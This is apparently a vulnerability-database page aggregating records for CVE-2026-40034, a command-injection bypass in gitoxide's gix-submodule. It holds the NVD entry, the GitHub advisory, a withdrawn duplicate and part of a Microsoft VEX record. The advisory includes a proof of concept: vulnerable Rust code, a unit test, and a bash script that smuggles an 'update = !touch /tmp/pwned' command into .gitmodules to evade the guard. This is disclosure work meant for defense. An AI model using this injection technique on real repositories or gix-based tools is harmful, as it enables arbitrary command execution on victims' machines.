"value": "gix-submodule before 0.29.0 (gitoxide before 0.5.21, gix before 0.84.0) incorrectly validates the update field in .gitmodules, allowing attackers to bypass the CommandForbiddenInModulesConfiguration guard when a submodule has been initialized with only partial configuration in .git/config. An attacker can inject arbitrary shell commands via the update field in .gitmodules that will be executed when Submodule::update() is called on a previously-initialized submodule, enabling remote code execution."
}
],
"id": "CVE-2026-40034",
"lastModified": "2026-06-17T10:44:38.510",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "disclosure@vulncheck.com",
"type": "Secondary"
}
],
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 8.5,
"baseSeverity": "HIGH",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "NOT_DEFINED",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "PASSIVE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "disclosure@vulncheck.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-40034",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-26T15:00:27.629890Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-05-26T15:16:35.087",
"references": [
{
"source": "disclosure@vulncheck.com",
"url": "https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0"
},
{
"source": "disclosure@vulncheck.com",
"url": "https://github.com/GitoxideLabs/gitoxide/commit/dd5c18d9e526e8de462fa40aa047acd097cfa7dc"
},
{
"source": "disclosure@vulncheck.com",
"url": "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-f26g-jm89-4g65"
},
{
"source": "disclosure@vulncheck.com",
"url": "https://red.anthropic.com/2026/cvd/findings/ANT-2026-6SNS6KMP"
},
{
"source": "disclosure@vulncheck.com",
"url": "https://www.vulncheck.com/advisories/gitoxide-command-injection-via-partial-gitmodules-override-in-gix-submodule"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"url": "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-f26g-jm89-4g65"
}
],
"sourceIdentifier": "disclosure@vulncheck.com",
"vulnStatus": "Deferred",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-77"
}
],
"source": "disclosure@vulncheck.com",
"type": "Secondary"
}
]
}
GHSA-F26G-JM89-4G65
Vulnerability from github – Published: 2026-05-05 19:23 – Updated: 2026-06-30 17:41Summary
gix_submodule::File::update() is the API that gates whether an attacker-supplied .gitmodules file may set update = !<shell command>. The function is designed to return Err(CommandForbiddenInModulesConfiguration) unless the !command value came from a trusted local source (.git/config). Git CVE CVE-2019-19604 illustrates why this check is necessary.
However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-.gitmodules source; it does not verify that the update value came from that section.
Once a submodule has been initialized (any workflow that writes submodule.<name>.url to .git/config), and the attacker subsequently adds update = !cmd to .gitmodules, the guard passes while the command value falls through to the attacker-controlled file.
On an identical repository state, git submodule update aborts with fatal: invalid value for 'submodule.sub.update', while gix::Submodule::update() returns Ok(Some(Update::Command("touch /tmp/pwned"))).
The vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.
Details
The vulnerable method is gix_submodule::File::update: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:
pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {
let value: Update = match self.config.string(format!("submodule.{name}.update")) {
// ^^^^^^^^^^^^^^^^^^
// [A] Reads the value. gix_config::File::string() iterates sections
// newest-to-oldest; if the override section lacks `update`, it
// falls through to .gitmodules and returns the attacker value.
//
// https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76
Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {
submodule: name.to_owned(),
actual: v.into_owned(),
})?,
None => return Ok(None),
};
if let Update::Command(cmd) = &value {
let ours = self.config.meta();
let has_value_from_foreign_section = self
.config
.sections_by_name("submodule")
.into_iter()
.flatten()
.any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// [B] Checks only that SOME section with this name exists from a
// non-.gitmodules source. Does NOT check where [A]'s value
// came from.
if !has_value_from_foreign_section {
return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });
}
}
Ok(Some(value))
}
PoC
git submodule init copies submodule.$name.url and writes active = true into .git/config (init_submodule(), builtin/submodule--helper.c:438-517). It does not unconditionally copy update.
Since CVE-2019-19604, git rejects .gitmodules files that contain update = !cmd at parse time. However, init is a one-time operation - once the .git/config section exists, subsequent changes to .gitmodules are not re-inited.
So, the attack sequence is:
- Attacker's repo ships a benign
.gitmodules(noupdatekey). - Victim clones and runs
git submodule init->.git/configcontains:ini [submodule "sub"] active = true url = /tmp/sub-origin - Attacker pushes a new commit adding
update = !cmdto.gitmodules. - Victim runs
git pull->.gitmodulesnow contains:ini [submodule "sub"] path = sub url = /tmp/sub-origin update = !touch /tmp/pwnedwhile.git/configis unchanged.
This is the precise state that bypasses gitoxide's guard:
- The .git/config entry - even though it contains only url and active - causes append_submodule_overrides to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.
- However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.
The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A].
Git itself would refuse to operate on this repository at the next git submodule update. The vulnerability is in gitoxide-based consumers that call Submodule::update() and trust its output.
Option 1: Unit test (verified - passes, confirming the bug)
Drop into gix-submodule/tests/file/mod.rs inside mod update:
#[test]
fn security_bypass_via_partial_override() {
use std::str::FromStr;
// Attacker-controlled .gitmodules
let gitmodules =
"[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned";
// Post-`git submodule init` state: only `url` copied to .git/config
let repo_config =
gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap();
let module =
gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();
let result = module.update("a".into());
// VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))`
// SECURE: should be `Err(CommandForbiddenInModulesConfiguration { .. })`
eprintln!("{:?}", result);
}
$ cargo test -p gix-submodule security_bypass -- --nocapture
running 1 test
bypass result: Ok(Some(Command("touch /tmp/pwned")))
test file::update::security_bypass_via_partial_override ... ok
Option 2: End-to-end - git refuses, gitoxide accepts
Verified with git 2.51.2 and gix @ dd5c18d9e.
#!/bin/bash
set -e
cd /tmp
rm -rf evil-repo victim sub-origin 2>/dev/null || true
# --- Setup ---
mkdir sub-origin && cd sub-origin
git init -q && git commit -q --allow-empty -m init
cd /tmp
# --- [1] Attacker creates repo with BENIGN submodule ---
mkdir evil-repo && cd evil-repo
git init -q
git -c protocol.file.allow=always submodule add /tmp/sub-origin sub
git commit -q -m "add submodule (benign)"
cd /tmp
# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---
git -c protocol.file.allow=always clone -q /tmp/evil-repo victim
cd victim
git submodule init
# .git/config now has: [submodule "sub"] active=true, url=..., NO update key
cd /tmp
# --- [3] Attacker adds malicious update to .gitmodules ---
cd evil-repo
cat >> .gitmodules <<'EOF'
update = !touch /tmp/pwned
EOF
git commit -q -am "add malicious update"
cd /tmp
# --- [4] Victim pulls ---
cd victim
git pull -q
Final state:
--- .gitmodules:
[submodule "sub"]
path = sub
url = /tmp/sub-origin
update = !touch /tmp/pwned
--- .git/config (submodule section):
[submodule "sub"]
active = true
url = /tmp/sub-origin
Upstream git on this state:
$ cd /tmp/victim && git submodule update
fatal: invalid value for 'submodule.sub.update'
$ echo $?
128
$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE
SAFE
Gitoxide on the same state:
// /tmp/gix-repro/main.rs
let repo = gix::open("/tmp/victim")?;
for sm in repo.submodules()?.expect("submodules present") {
println!("{}: {:?}", sm.name(), sm.update());
}
$ cargo run
sub: Ok(Some(Command("touch /tmp/pwned")))
The CommandForbiddenInModulesConfiguration guard never fires.
Impact
Direct
Any downstream code built on gix that:
1. Calls Submodule::update() to determine the update strategy, and
2. Trusts that Update::Command(_) is safe to execute (because CommandForbiddenInModulesConfiguration exists as the documented guard)
…will execute attacker-controlled shell commands on submodule update against a previously-initialized submodule.
gix itself does not currently ship a submodule update implementation, so there is no RCE in the gix CLI today. However:
- The
Submodule::update()API is public atgix/src/submodule/mod.rs:108and delegates directly to the vulnerable function. - The error variant name (
CommandForbiddenInModulesConfiguration) and test suite (valid_in_overridesatgix-submodule/tests/file/mod.rs:272) explicitly document this as the security boundary. - Any third-party tool, IDE plugin, or CI integration building submodule-update on top of
gixinherits this vulnerability.
Indirect / second-order
- CI/forge integrations that auto-init submodules and then query the update mode
- Editor/IDE extensions using
gixfor submodule info - Gitoxide-based
initequivalents - any tool that implements its own init (writingurlto local config) creates the bypass state without needing the pull-after-init sequence
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "gix"
},
"ranges": [
{
"events": [
{
"introduced": "0.31.0"
},
{
"fixed": "0.83.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40034"
],
"database_specific": {
"cwe_ids": [
"CWE-183",
"CWE-349",
"CWE-501",
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T19:23:45Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n[`gix_submodule::File::update()`](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168) is the API that gates whether an attacker-supplied `.gitmodules` file may set `update = !\u003cshell command\u003e`. The function is designed to return `Err(CommandForbiddenInModulesConfiguration)` unless the `!command` value came from a trusted local source (`.git/config`). Git CVE [CVE-2019-19604](https://nvd.nist.gov/vuln/detail/cve-2019-19604) illustrates why this check is necessary.\n\nHowever, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-`.gitmodules` source; it does not verify that the `update` value came from that section.\n\nOnce a submodule has been initialized (any workflow that writes `submodule.\u003cname\u003e.url` to `.git/config`), and the attacker subsequently adds `update = !cmd` to `.gitmodules`, the guard passes while the command value falls through to the attacker-controlled file.\n\nOn an identical repository state, `git submodule update` aborts with `fatal: invalid value for \u0027submodule.sub.update\u0027`, while `gix::Submodule::update()` returns `Ok(Some(Update::Command(\"touch /tmp/pwned\")))`.\n\nThe vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.\n\n### Details\n\nThe vulnerable method is `gix_submodule::File::update`: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:\n\n```rust\npub fn update(\u0026self, name: \u0026BStr) -\u003e Result\u003cOption\u003cUpdate\u003e, config::update::Error\u003e {\n let value: Update = match self.config.string(format!(\"submodule.{name}.update\")) {\n // ^^^^^^^^^^^^^^^^^^\n // [A] Reads the value. gix_config::File::string() iterates sections\n // newest-to-oldest; if the override section lacks `update`, it\n // falls through to .gitmodules and returns the attacker value.\n //\n // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76\n Some(v) =\u003e v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {\n submodule: name.to_owned(),\n actual: v.into_owned(),\n })?,\n None =\u003e return Ok(None),\n };\n\n if let Update::Command(cmd) = \u0026value {\n let ours = self.config.meta();\n let has_value_from_foreign_section = self\n .config\n .sections_by_name(\"submodule\")\n .into_iter()\n .flatten()\n .any(|s| s.header().subsection_name() == Some(name) \u0026\u0026 !std::ptr::eq(s.meta(), ours));\n // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n // [B] Checks only that SOME section with this name exists from a\n // non-.gitmodules source. Does NOT check where [A]\u0027s value\n // came from.\n if !has_value_from_foreign_section {\n return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });\n }\n }\n Ok(Some(value))\n}\n```\n\n### PoC\n\n`git submodule init` copies `submodule.$name.url` and writes `active = true` into `.git/config` ([`init_submodule()`, builtin/submodule--helper.c:438-517](https://github.com/git/git/blob/v2.53.0/builtin/submodule--helper.c#L438-L517)). It does not unconditionally copy `update`.\n\nSince CVE-2019-19604, `git` rejects `.gitmodules` files that contain `update = !cmd` at parse time. However, `init` is a one-time operation - once the `.git/config` section exists, subsequent changes to `.gitmodules` are not re-inited.\n\nSo, the attack sequence is:\n\n1. Attacker\u0027s repo ships a benign `.gitmodules` (no `update` key).\n2. Victim clones and runs `git submodule init` -\u003e `.git/config` contains:\n ```ini\n [submodule \"sub\"]\n active = true\n url = /tmp/sub-origin\n ```\n3. Attacker pushes a new commit adding `update = !cmd` to `.gitmodules`.\n4. Victim runs `git pull` -\u003e `.gitmodules` now contains:\n ```ini\n [submodule \"sub\"]\n path = sub\n url = /tmp/sub-origin\n update = !touch /tmp/pwned\n ```\n while `.git/config` is unchanged.\n\nThis is the precise state that bypasses gitoxide\u0027s guard:\n- The .git/config entry - even though it contains only url and active - causes [`append_submodule_overrides`](https://github.com/GitoxideLabs/gitoxide/blob/dd5c18d9e526e8de462fa40aa047acd097cfa7dc/gix-submodule/src/lib.rs#L41) to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.\n- However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker\u0027s !touch /tmp/pwned.\n\nThe bug is the mismatch between what [A] and [B] actually inspect: [A] asks \"which section provides the update value?\" (answer: .gitmodules), while [B] asks \"does any trusted section exist for this submodule?\" (answer: yes). A correct guard would ask the same question as [A].\n\nGit itself would refuse to operate on this repository at the next `git submodule update`. The vulnerability is in gitoxide-based consumers that call `Submodule::update()` and trust its output.\n\n### Option 1: Unit test (verified - passes, confirming the bug)\n\nDrop into `gix-submodule/tests/file/mod.rs` inside `mod update`:\n\n```rust\n#[test]\nfn security_bypass_via_partial_override() {\n use std::str::FromStr;\n\n // Attacker-controlled .gitmodules\n let gitmodules =\n \"[submodule.a]\\n url = https://example.com/a\\n update = !touch /tmp/pwned\";\n\n // Post-`git submodule init` state: only `url` copied to .git/config\n let repo_config =\n gix_config::File::from_str(\"[submodule.a]\\n url = https://example.com/a\").unwrap();\n\n let module =\n gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, \u0026repo_config).unwrap();\n\n let result = module.update(\"a\".into());\n // VULNERABLE: prints `Ok(Some(Command(\"touch /tmp/pwned\")))`\n // SECURE: should be `Err(CommandForbiddenInModulesConfiguration { .. })`\n eprintln!(\"{:?}\", result);\n}\n```\n\n```console\n$ cargo test -p gix-submodule security_bypass -- --nocapture\nrunning 1 test\nbypass result: Ok(Some(Command(\"touch /tmp/pwned\")))\ntest file::update::security_bypass_via_partial_override ... ok\n```\n\n### Option 2: End-to-end - git refuses, gitoxide accepts\n\nVerified with **git 2.51.2** and **gix @ `dd5c18d9e`**.\n\n```bash\n#!/bin/bash\nset -e\ncd /tmp\nrm -rf evil-repo victim sub-origin 2\u003e/dev/null || true\n\n# --- Setup ---\nmkdir sub-origin \u0026\u0026 cd sub-origin\ngit init -q \u0026\u0026 git commit -q --allow-empty -m init\ncd /tmp\n\n# --- [1] Attacker creates repo with BENIGN submodule ---\nmkdir evil-repo \u0026\u0026 cd evil-repo\ngit init -q\ngit -c protocol.file.allow=always submodule add /tmp/sub-origin sub\ngit commit -q -m \"add submodule (benign)\"\ncd /tmp\n\n# --- [2] Victim clones and inits (passes git\u0027s .gitmodules validation) ---\ngit -c protocol.file.allow=always clone -q /tmp/evil-repo victim\ncd victim\ngit submodule init\n# .git/config now has: [submodule \"sub\"] active=true, url=..., NO update key\ncd /tmp\n\n# --- [3] Attacker adds malicious update to .gitmodules ---\ncd evil-repo\ncat \u003e\u003e .gitmodules \u003c\u003c\u0027EOF\u0027\n\tupdate = !touch /tmp/pwned\nEOF\ngit commit -q -am \"add malicious update\"\ncd /tmp\n\n# --- [4] Victim pulls ---\ncd victim\ngit pull -q\n```\n\nFinal state:\n```\n--- .gitmodules:\n[submodule \"sub\"]\n path = sub\n url = /tmp/sub-origin\n update = !touch /tmp/pwned\n--- .git/config (submodule section):\n[submodule \"sub\"]\n active = true\n url = /tmp/sub-origin\n```\n\n**Upstream git on this state:**\n```console\n$ cd /tmp/victim \u0026\u0026 git submodule update\nfatal: invalid value for \u0027submodule.sub.update\u0027\n$ echo $?\n128\n$ test -f /tmp/pwned \u0026\u0026 echo VULNERABLE || echo SAFE\nSAFE\n```\n\n**Gitoxide on the same state:**\n```rust\n// /tmp/gix-repro/main.rs\nlet repo = gix::open(\"/tmp/victim\")?;\nfor sm in repo.submodules()?.expect(\"submodules present\") {\n println!(\"{}: {:?}\", sm.name(), sm.update());\n}\n```\n```console\n$ cargo run\nsub: Ok(Some(Command(\"touch /tmp/pwned\")))\n```\n\nThe `CommandForbiddenInModulesConfiguration` guard never fires.\n\n### Impact\n\n### Direct\n\nAny downstream code built on `gix` that:\n1. Calls `Submodule::update()` to determine the update strategy, and\n2. Trusts that `Update::Command(_)` is safe to execute (because `CommandForbiddenInModulesConfiguration` exists as the documented guard)\n\n\u2026will execute attacker-controlled shell commands on `submodule update` against a previously-initialized submodule.\n\n`gix` itself does not currently ship a `submodule update` implementation, so there is no RCE in the `gix` CLI today. However:\n\n- The `Submodule::update()` API is public at `gix/src/submodule/mod.rs:108` and delegates directly to the vulnerable function.\n- The error variant name (`CommandForbiddenInModulesConfiguration`) and test suite (`valid_in_overrides` at `gix-submodule/tests/file/mod.rs:272`) explicitly document this as the security boundary.\n- Any third-party tool, IDE plugin, or CI integration building submodule-update on top of `gix` inherits this vulnerability.\n\n### Indirect / second-order\n\n- CI/forge integrations that auto-init submodules and then query the update mode\n- Editor/IDE extensions using `gix` for submodule info\n- Gitoxide-based `init` equivalents - any tool that implements its own init (writing `url` to local config) creates the bypass state without needing the pull-after-init sequence",
"id": "GHSA-f26g-jm89-4g65",
"modified": "2026-06-30T17:41:01Z",
"published": "2026-05-05T19:23:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-f26g-jm89-4g65"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40034"
},
{
"type": "WEB",
"url": "https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0"
},
{
"type": "WEB",
"url": "https://github.com/GitoxideLabs/gitoxide/commit/dd5c18d9e526e8de462fa40aa047acd097cfa7dc"
},
{
"type": "PACKAGE",
"url": "https://github.com/GitoxideLabs/gitoxide"
},
{
"type": "WEB",
"url": "https://red.anthropic.com/2026/cvd/findings/ANT-2026-6SNS6KMP"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitoxide-command-injection-via-partial-gitmodules-override-in-gix-submodule"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "gitoxide: CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules"
}
GHSA-M4F9-C775-WG56
Vulnerability from github – Published: 2026-05-26 15:32 – Updated: 2026-06-30 17:40Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-f26g-jm89-4g65. This link is maintained to preserve external references.
Original Description
gix-submodule before 0.82.0 incorrectly validates the update field in .gitmodules, allowing attackers to bypass the CommandForbiddenInModulesConfiguration guard when a submodule has been initialized with only partial configuration in .git/config. An attacker can inject arbitrary shell commands via the update field in .gitmodules that will be executed when Submodule::update() is called on a previously-initialized submodule, enabling remote code execution.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "gix"
},
"ranges": [
{
"events": [
{
"introduced": "0.31.0"
},
{
"fixed": "0.83.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-30T17:40:48Z",
"nvd_published_at": "2026-05-26T15:16:35Z",
"severity": "HIGH"
},
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-f26g-jm89-4g65. This link is maintained to preserve external references.\n\n### Original Description\ngix-submodule before 0.82.0 incorrectly validates the update field in .gitmodules, allowing attackers to bypass the CommandForbiddenInModulesConfiguration guard when a submodule has been initialized with only partial configuration in .git/config. An attacker can inject arbitrary shell commands via the update field in .gitmodules that will be executed when Submodule::update() is called on a previously-initialized submodule, enabling remote code execution.",
"id": "GHSA-m4f9-c775-wg56",
"modified": "2026-06-30T17:40:48Z",
"published": "2026-05-26T15:32:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-f26g-jm89-4g65"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40034"
},
{
"type": "WEB",
"url": "https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0"
},
{
"type": "WEB",
"url": "https://github.com/GitoxideLabs/gitoxide/commit/dd5c18d9e526e8de462fa40aa047acd097cfa7dc"
},
{
"type": "WEB",
"url": "https://red.anthropic.com/2026/cvd/findings/ANT-2026-6SNS6KMP"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitoxide-command-injection-via-partial-gitmodules-override-in-gix-submodule"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: gitoxide: CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules",
"withdrawn": "2026-06-30T17:40:48Z"
}
MSRC_CVE-2026-40034
Vulnerability from csaf_microsoft - Published: 2026-05-02 00:00 - Updated: 2026-06-13 01:43| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: 21400-17084 | — | ||
| Unresolved product id: 21433-17084 | — |
| URL | Category |
|---|---|
| https://msrc.microsoft.com/csaf/vex/2026/msrc_cve… | self |
| https://support.microsoft.com/lifecycle | external |
| https://www.first.org/cvss | external |
| https://msrc.microsoft.com/csaf/vex/2026/msrc_cve… | self |
{
"document": {
"category": "csaf_vex",
"csaf_version": "2.0",
"distribution": {
"text": "Public",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en-US",
"notes": [
{
"category": "general",
"text": "To determine the support lifecycle for your software, see the Microsoft Support Lifecycle: https://support.microsoft.com/lifecycle",
"title": "Additional Resources"
},
{
"category": "legal_disclaimer",
"text": "The information provided in the Microsoft Knowledge Base is provided \\\"as is\\\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.",
"title": "Disclaimer"
}
],
"publisher": {
"category": "vendor",
"contact_details": "secure@microsoft.com",
"name": "Microsoft Security Response Center",
"namespace": "https://msrc.microsoft.com"
},
"references": [
{
"category": "self",
"summary": "CVE-2026-40034 gitoxide - Command Injection via Partial .gitmodules Override in gix-submodule - VEX",
"url": "https://msrc.microsoft.com/csaf/vex/2026/msrc_cve-2026-40034.json"
},
{
"category": "external",
"summary": "Microsoft Support Lifecycle",
"url": "https://support.microsoft.com/lifecycle"
},
{
"category": "external",
"summary": "Common Vulnerability Scoring System",
"url": "https://www.first.org/cvss"
}
],
"title": "gitoxide - Command Injection via Partial .gitmodules Override in gix-submodule",
"tracking": {
"current_release_date": "2026-06-13T01:43:07.000Z",
"generator": {
"date": "2026-06-13T07:17:25.090Z",
"engine": {
"name": "MSRC Generator",
"version": "1.0"
}
},
"id": "msrc_CVE-2026-40034",
"initial_release_date": "2026-05-02T00:00:00.000Z",
"revision_history": [
{
"date": "2026-05-31T01:04:52.000Z",
"legacy_version": "1",
"number": "1",
"summary": "Information published."
},
{
"date": "2026-06-01T14:46:27.000Z",
"legacy_version": "2",
"number": "2",
"summary": "Information published."
},
{
"date": "2026-06-03T14:05:36.000Z",
"legacy_version": "3",
"number": "3",
"summary": "Information published."
},
{
"date": "2026-06-13T01:43:07.000Z",
"legacy_version": "4",
"number": "4",
"summary": "Information published."
}
],
"status": "final",
"version": "4"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version",
"name": "3.0",
"product": {
"name": "Azure Linux 3.0",
"product_id": "17084"
}
}
],
"category": "product_name",
"name": "Azure Linux"
},
{
"branches": [
{
"category": "product_version_range",
"name": "\u003cazl3 rust 0:1.75.0-29.azl3",
"product": {
"name": "\u003cazl3 rust 0:1.75.0-29.azl3",
"product_id": "2"
}
},
{
"category": "product_version",
"name": "azl3 rust 0:1.75.0-29.azl3",
"product": {
"name": "azl3 rust 0:1.75.0-29.azl3",
"product_id": "21400"
}
},
{
"category": "product_version_range",
"name": "azl3 rust 0:1.75.0-28.azl3",
"product": {
"name": "azl3 rust 0:1.75.0-28.azl3",
"product_id": "4"
}
},
{
"category": "product_version_range",
"name": "azl3 rust 0:1.90.0-7.azl3",
"product": {
"name": "azl3 rust 0:1.90.0-7.azl3",
"product_id": "3"
}
},
{
"category": "product_version_range",
"name": "\u003cazl3 rust 0:1.90.0-8.azl3",
"product": {
"name": "\u003cazl3 rust 0:1.90.0-8.azl3",
"product_id": "1"
}
},
{
"category": "product_version",
"name": "azl3 rust 0:1.90.0-8.azl3",
"product": {
"name": "azl3 rust 0:1.90.0-8.azl3",
"product_id": "21433"
}
}
],
"category": "product_name",
"name": "rust"
}
],
"category": "vendor",
"name": "Microsoft"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "\u003cazl3 rust 0:1.75.0-29.azl3 as a component of Azure Linux 3.0",
"product_id": "17084-2"
},
"product_reference": "2",
"relates_to_product_reference": "17084"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "azl3 rust 0:1.75.0-29.azl3 as a component of Azure Linux 3.0",
"product_id": "21400-17084"
},
"product_reference": "21400",
"relates_to_product_reference": "17084"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "azl3 rust 0:1.75.0-28.azl3 as a component of Azure Linux 3.0",
"product_id": "17084-4"
},
